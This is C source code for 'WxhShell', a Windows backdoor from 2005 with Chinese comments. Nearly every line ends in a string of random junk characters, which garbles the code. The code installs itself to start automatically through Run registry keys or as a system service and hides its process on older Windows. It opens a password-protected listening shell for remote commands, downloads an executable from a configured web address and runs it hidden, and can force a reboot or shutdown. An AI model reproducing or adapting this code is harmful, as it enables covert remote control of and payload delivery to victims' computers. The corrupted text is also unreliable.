ULONG UniqueProcessId; kn9e7OO##
ULONG InheritedFromUniqueProcessId; Yc3Rq4I'G
} PROCESS_BASIC_INFORMATION; Wz+7CRpeP
ZcE:r+
PROCNTQSIP NtQueryInformationProcess; vrX@T?>
+i@{h9"6g
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I-L:;~.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0nsj ihw
iOrpr,@
HANDLE hProcess; `Kb"`}`_vm
PROCESS_BASIC_INFORMATION pbi; ]
^s,
:cA%lKg
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,SG-{
if(NULL == hInst ) return 0; \'hZm%S
!XQq*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L/KiE+Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |PxTm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fq<JX5DER
s ;2ih)[
if (!NtQueryInformationProcess) return 0; U+ANSW/
.^!<cFkCE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TsF>Y""*M
if(!hProcess) return 0; UfSqiu
Kd!.sB/%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; | IB4-p
P}~nL
CloseHandle(hProcess); f >$V:e([
)8&;Q9'o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %U?1Gf e
if(hProcess==NULL) return 0; hCpcX"wND
T*{nf
HMODULE hMod; ZwOX ,D
char procName[255]; bnZ~jOHl
unsigned long cbNeeded; bmQ-5SE
~-2Gx
HO`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4GqwY"ja
?:DUsg
CloseHandle(hProcess); d:8c}t2X
^_c6Op<F
if(strstr(procName,"services")) return 1; // 以服务启动 #p7K2
]$&N"&q
return 0; // 注册表启动 n^iq?u
} y
Q-{
CJ,
rsn^YC
// 主模块 LTw.w:"J
int StartWxhshell(LPSTR lpCmdLine) "I,=L;p
{ s2`Qh9R
SOCKET wsl; H&SoVi_V
BOOL val=TRUE; o2rL&
int port=0; ]x5+v0
struct sockaddr_in door; G$A=T u~
0sfb$3y
if(wscfg.ws_autoins) Install(); zVvL!
*ry}T=
port=atoi(lpCmdLine); -gB9476-
?np3*;lw
if(port<=0) port=wscfg.ws_port; 0vZ49}mb)
v2jpao<K
WSADATA data; 9>k_z&<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4l'`q+^-
*2>kic
aH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W9!K~g_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); } /*U~!t
door.sin_family = AF_INET; VRB!u420
door.sin_addr.s_addr = inet_addr("127.0.0.1"); K_ Od u^
door.sin_port = htons(port); g[Q+DT
e!=~f%c<N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <j}A=SDZ)
closesocket(wsl); He*c=^8k
return 1; 3|(<]@
$
} #HTq\J!
2D2}
*);eW
if(listen(wsl,2) == INVALID_SOCKET) { YkSHJ{>
closesocket(wsl); x@3"
SiC
return 1; nArG
I}@
} K$KVm^`
Wxhshell(wsl); lWakyCS
WSACleanup(); {I8C&GS
W1_.wN$,5
return 0; /|m0)H.>
X]}:WGFM
} &embAqW:
k}]M`ad
// 以NT服务方式启动 9Cz|?71
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $.x,[R
aN
{ B[s
DWORD status = 0; iAo/Dnp2J
DWORD specificError = 0xfffffff; ]j0/.pG
$38)_{
serviceStatus.dwServiceType = SERVICE_WIN32; N/78Ub
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k~*%Z!V}C
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Ta (v3om%
serviceStatus.dwWin32ExitCode = 0; mXs.@u/
serviceStatus.dwServiceSpecificExitCode = 0; IU;a$
serviceStatus.dwCheckPoint = 0; \V#fl
serviceStatus.dwWaitHint = 0; 8j)*T9
_<KUa\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =&F~GCZ>
if (hServiceStatusHandle==0) return; R PdFLC/
K\FLA_J
status = GetLastError(); 3sD|R{
if (status!=NO_ERROR) 1:!H`*DU&
{ VWc)AfKe
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bo$dIn2_
serviceStatus.dwCheckPoint = 0; rK\9#[?x
serviceStatus.dwWaitHint = 0; F+ %l=
fs
serviceStatus.dwWin32ExitCode = status; ERy=lP~gV
serviceStatus.dwServiceSpecificExitCode = specificError; <HnpI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r{KQ3j9O
return; IGOEqUw*
} l5#SOo\
=!\Y;rk
serviceStatus.dwCurrentState = SERVICE_RUNNING; p\R&vof*
serviceStatus.dwCheckPoint = 0; !Df>Q5~g
serviceStatus.dwWaitHint = 0; qKrxln/T
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EbG&[v
} wjfq"7Q
[HI$[:[
// 处理NT服务事件,比如:启动、停止 ~ dk9 7Z8
VOID WINAPI NTServiceHandler(DWORD fdwControl) qw
03]a
{ ~F8xXW0
switch(fdwControl) pxn@rN#*
{ !;;7:!)P
case SERVICE_CONTROL_STOP: 5> lIrBf
serviceStatus.dwWin32ExitCode = 0; &->ngzg
serviceStatus.dwCurrentState = SERVICE_STOPPED; #{?~XS
serviceStatus.dwCheckPoint = 0; fejC,H4I
serviceStatus.dwWaitHint = 0; 9Dbbk/j|
{ }3_>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _+X-D9j(l
} _u]%K-_
return; CeeAw_*@
case SERVICE_CONTROL_PAUSE: mV^~
serviceStatus.dwCurrentState = SERVICE_PAUSED; b:cy(6G(
break; BO WOH
case SERVICE_CONTROL_CONTINUE: %/ctt_p0x
serviceStatus.dwCurrentState = SERVICE_RUNNING; B77`azwF
break; loC~wm%Ql
case SERVICE_CONTROL_INTERROGATE: D^gS.X ^
break; [X91nUz#
}; _N=f&~T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nv^byWqu
} Ra"hdxH
{A'*3(8
// 标准应用程序主函数 "8"aYD_
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u-_1)'
{ dyk(/#*7W
)N*Jc @Y@
// 获取操作系统版本 Mo5b
@
[
OsIsNt=GetOsVer(); +w-J;GLSy
GetModuleFileName(NULL,ExeFile,MAX_PATH); a|jZg
oKCv$>Y
// 从命令行安装 K:^0*5Y-k
if(strpbrk(lpCmdLine,"iI")) Install(); `2hg?(ul
w {"1V7|
// 下载执行文件 jwUX?`6jX
if(wscfg.ws_downexe) { k<5g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >ZW|wpO
WinExec(wscfg.ws_filenam,SW_HIDE); )_1 GPS
} 2WTOu x*
qXhdU/
=
if(!OsIsNt) { e,,O
// 如果时win9x,隐藏进程并且设置为注册表启动 ^,,}2dsb>
HideProc(); [Ky3WppR
StartWxhshell(lpCmdLine); x
FWhr#5,
} >lfuo
else lj UdsU w
if(StartFromService()) l&}}Io$?@
// 以服务方式启动 NSBcYObX
StartServiceCtrlDispatcher(DispatchTable); %pxO<O
else *\(z"B
// 普通方式启动 * k<@
StartWxhshell(lpCmdLine); {0j_.XZ
[F'|KcE3
return 0; 3%hq<
} :PtZKt;~X
~USt&?
1Qu@pb^
|JP19KFx'B
=========================================== *yaS^k\
0y6M;"&~E
&!OEd]
dFF=-_O>
,2^4"gIl
&w#!
" c!_c, vwrn
?C#E_
#include <stdio.h> #c5jCy}n
#include <string.h> fx(h fz
#include <windows.h> Pc_aEBq
#include <winsock2.h> D}q"^"#T
#include <winsvc.h> "4;nnq
#include <urlmon.h> 8!rdqI
-(t7>s
#pragma comment (lib, "Ws2_32.lib") pF4Z4?W
#pragma comment (lib, "urlmon.lib") =E5bM_P<K
__2<v?\
#define MAX_USER 100 // 最大客户端连接数 P RWb6
#define BUF_SOCK 200 // sock buffer Qr9;CVW
#define KEY_BUFF 255 // 输入 buffer ?oFd%|I
6,aH[>W
#define REBOOT 0 // 重启 *<\K-NSL
#define SHUTDOWN 1 // 关机 Xv|=RNz
gf1+yJ^d!
#define DEF_PORT 5000 // 监听端口 o87kF!x
FO5a<6
#define REG_LEN 16 // 注册表键长度 0]kKF<s
#define SVC_LEN 80 // NT服务名长度 sl `jovT[Y
p,goYF??
// 从dll定义API lQ-<T<g
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jsysk $R
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !R"W2 Z4h
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \gk.[={^P
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -}9^$}PR
mAtqF
%V
// wxhshell配置信息 *y!O\-\S#>
struct WSCFG { })H d]a
int ws_port; // 监听端口 !:^q_q4
char ws_passstr[REG_LEN]; // 口令 %'yrIR
int ws_autoins; // 安装标记, 1=yes 0=no <;6{R#Tuh
char ws_regname[REG_LEN]; // 注册表键名 @ M]_],
char ws_svcname[REG_LEN]; // 服务名 "FWx;65CR
char ws_svcdisp[SVC_LEN]; // 服务显示名 ,|{`(y/v
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /{\ /e"5
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I I+y
int ws_downexe; // 下载执行标记, 1=yes 0=no mK[Z#obc=
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;^5k_\
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 motK}G
ch8a
}; =FrB{Eu
Gv_~@MN
// default Wxhshell configuration wQSye*ec
struct WSCFG wscfg={DEF_PORT, } #rTUX
"xuhuanlingzhe", Q$c6l[(g
1, )1uiY
f&k
"Wxhshell", e@Lxduq
"Wxhshell", =~GP;=6
"WxhShell Service", (Jk&U8y
"Wrsky Windows CmdShell Service", @PEFl"
"Please Input Your Password: ", 5 wrRtzf
1, x#J9GP.
"http://www.wrsky.com/wxhshell.exe", OT%E|) 6'
"Wxhshell.exe" 94rSB}b.O
}; j#1G?MF
}OpUG
// 消息定义模块 N/bOl~!y
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X.eOw>.
char *msg_ws_prompt="\n\r? for help\n\r#>"; h0'*)`;z
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vR!+ 8sy$
char *msg_ws_ext="\n\rExit."; QQM:[1;RT
char *msg_ws_end="\n\rQuit."; kAQ(8xV
char *msg_ws_boot="\n\rReboot..."; "lI-/G
char *msg_ws_poff="\n\rShutdown..."; V4:/LNq_]
char *msg_ws_down="\n\rSave to "; Io1j%T#ZT
HIXAA?_eh=
char *msg_ws_err="\n\rErr!"; JWixY/
char *msg_ws_ok="\n\rOK!"; ^#HaH
#ES[),+|mB
char ExeFile[MAX_PATH]; H<(F$7Q!\
int nUser = 0; p~ b4TRvA6
HANDLE handles[MAX_USER]; %S`&R5
int OsIsNt; \c<
oVF'
fF(2bVKP:
SERVICE_STATUS serviceStatus; ;
oyV8P$
SERVICE_STATUS_HANDLE hServiceStatusHandle; |ia5Mr"t
eV[{c %wN:
// 函数声明 @C)s4{V
int Install(void); jE\G_>
int Uninstall(void); Alxf;[s
int DownloadFile(char *sURL, SOCKET wsh); BNfj0e 5b
int Boot(int flag); V\cbIx(Z^
void HideProc(void); HwUaaK
int GetOsVer(void); ?woL17Gt
int Wxhshell(SOCKET wsl); wa"0`a:`;
void TalkWithClient(void *cs); rwRZGd *p
int CmdShell(SOCKET sock); Q$E.G63Wl
int StartFromService(void); |U%NPw5
int StartWxhshell(LPSTR lpCmdLine); 'J,UKK\5
LwC?t3n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r#sg5aS7O|
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~#r>@C
aZN?V}^+
// 数据结构和表定义 FDMQLx f
SERVICE_TABLE_ENTRY DispatchTable[] = Z hfp>D
{ Uwc%'=@
{wscfg.ws_svcname, NTServiceMain}, Lce,]z\_
{NULL, NULL} g\q .
}; xMJ-=
FA+HR
// 自我安装 6}^x#9\
int Install(void) y2A\7&7
{ @t%da^-HS"
char svExeFile[MAX_PATH]; 1bFZyD"
HKEY key; Dvg'
strcpy(svExeFile,ExeFile); ^?cu9S3
yu;EL>G_AY
// 如果是win9x系统,修改注册表设为自启动 [V'c
if(!OsIsNt) { )Te\6qM
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tn7Mt7 h
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y~UuT8-c
RegCloseKey(key); `% 9Y)a/e
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y25`vE(
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D!`[fjs6A
RegCloseKey(key); ef)RlzLOq
return 0; xV>
.]
} ht-'O"d:
} REh"/d
} 8W&1"h`
else { K*@?BE
k79OMf<v
// 如果是NT以上系统,安装为系统服务
3f`Uoh+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K)'[^V Xh
if (schSCManager!=0) )I%M]K]F
{ + ~V%R{h
SC_HANDLE schService = CreateService T<uX[BO-a
( ([8*Py|
schSCManager, `oxBIn*BD
wscfg.ws_svcname, mI&3y9; (
wscfg.ws_svcdisp, )z7CT|h7S
SERVICE_ALL_ACCESS, `wi+/^);
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1uo-?k
SERVICE_AUTO_START, VzT*^PFBg
SERVICE_ERROR_NORMAL, (Y~/9a4X
svExeFile, 59.$;Ip;g
NULL, mS%4
NULL, qz`-?,pF
NULL, LQF;T7VKS)
NULL, -RP{viGWK
NULL D[>:az`
); =v3o)lU
if (schService!=0) 7J9<B5U
{ %w&+o.k/
CloseServiceHandle(schService); [Q T ;~5
CloseServiceHandle(schSCManager); }R*%q
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,LBj$U]e|E
strcat(svExeFile,wscfg.ws_svcname); 9O- otAGM
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8$uq60JK
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qjRbsD>
RegCloseKey(key); (Nzh1ul\}
return 0; Ic3a\FTr\
} ^iH[
22b4
} K"l~bFCZ8
CloseServiceHandle(schSCManager); 6PsT])*>DE
} xhALJfv
} 5YrzOqg=
\(??Ytc<B
return 1; W%rUa&00
} O]IAIM
N1Y
uLG:
// 自我卸载 @.L#u#
int Uninstall(void) ^C
K!=oO
{ U R^r>
HKEY key; DlzL(p@r
X}GX6qAdt
if(!OsIsNt) { pauO_'j_1p
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zeGWM,!
RegDeleteValue(key,wscfg.ws_regname); 1Ne;U/
RegCloseKey(key); kiF}+,z"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ",~ZO<P
RegDeleteValue(key,wscfg.ws_regname); $bhI2%_`M
RegCloseKey(key); 'z91aNG]
return 0; oyiG04H&
} n{W(8K6d@[
} /K2[`+-
} =o~mZ/ 7=M
else { c6jVx_tt.
`"~GqFwy~
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J[}j8x?r
if (schSCManager!=0) +_X*one
{ ?jmL4V2-f
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hvI#D>Z!Yp
if (schService!=0) mBL?2~M
{ g8/ ,E-u
if(DeleteService(schService)!=0) { }>iNT.Lvd
CloseServiceHandle(schService); e=##X}4zZ
CloseServiceHandle(schSCManager); $$ $[Vn_H<
return 0; SOPair <r
} w!`e!}
CloseServiceHandle(schService); _ow7E\70
} ,OrrGwp&
CloseServiceHandle(schSCManager); TQ![
} Lt~&K$t7~
} Eg&5tAyM
E\}A<r
return 1; _*z^PkH
} OeGLMDw
F^.]g@g.|
// 从指定url下载文件 U
`lp56
int DownloadFile(char *sURL, SOCKET wsh) BJ_"FG
{ jcC"vr'u|
HRESULT hr; ) M8,Tv*~
char seps[]= "/"; zv"NbN
char *token; id,' + <
char *file; C`ZU.|R
char myURL[MAX_PATH]; OGW3Pe0Z'
char myFILE[MAX_PATH]; aQHR=.S]X
;eo}/-a_Xw
strcpy(myURL,sURL); ^$`mS&3/q
token=strtok(myURL,seps); I\Y N!
while(token!=NULL) KO`dAB F}
{ Ze/\IBd
file=token; \R9izuc9
token=strtok(NULL,seps); <^$ppwk$
} ES^JRX
u[SqZftmO
GetCurrentDirectory(MAX_PATH,myFILE); e)s
l
strcat(myFILE, "\\"); cD9U^SOS
strcat(myFILE, file); w3VgGc~
send(wsh,myFILE,strlen(myFILE),0); Ugo!
send(wsh,"...",3,0); k{{
Y2B?C
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AcJrJS)~
if(hr==S_OK) HS*Y%*
return 0; r=37Q14v
else s-I M
return 1; tYgHJ~1L*
DBGU:V,85
} K8&) kfyI
!ni
1 qM
// 系统电源模块 P
B-x_D
int Boot(int flag) ?c8(<_I+
{ Wm{ebx
HANDLE hToken; $v_&jE
TOKEN_PRIVILEGES tkp; n2_;:=
#%%!r$UL
if(OsIsNt) { ePq (.o
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2&pE
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }l} _'FmQ
tkp.PrivilegeCount = 1; TC2%n\GH*
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b+gu<##
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @0
x
if(flag==REBOOT) { e ?7NW
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :,yC\,H^
return 0; >\~Er@
} %TAS4hnu%
else { ,o0Kev z
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kVCWyZh4
return 0; FjizPg/|!
} >S0kiGDV{
} /oJ &